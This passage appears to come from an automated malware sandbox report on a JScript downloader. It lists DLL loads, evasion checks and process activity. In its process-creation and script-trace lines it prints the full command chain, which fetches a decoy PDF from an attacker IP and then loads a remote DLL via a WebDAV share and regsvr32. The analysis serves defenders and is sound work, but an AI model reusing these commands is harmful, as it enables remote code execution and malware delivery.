Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8906.js.csv");ITextStream.WriteLine(" entry:7966 f:omsmtq");ITextStream.WriteLine(" exec:2 f:omsmtq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49742

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3866			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6001			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep count: 3866 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7736	Thread sleep count: 6001 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7824	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8024	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1408	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1416052457.0000021FDB262000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1419648966.0000021FDB262000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1425100543.0000021FDB262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWN
Source: net.exe, 00000007.00000003.1416052457.0000021FDB262000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1424846911.0000021FDB1F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1419648966.0000021FDB262000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1425100543.0000021FDB262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2649040382.000001E29F85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2648132536.000001E29A22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
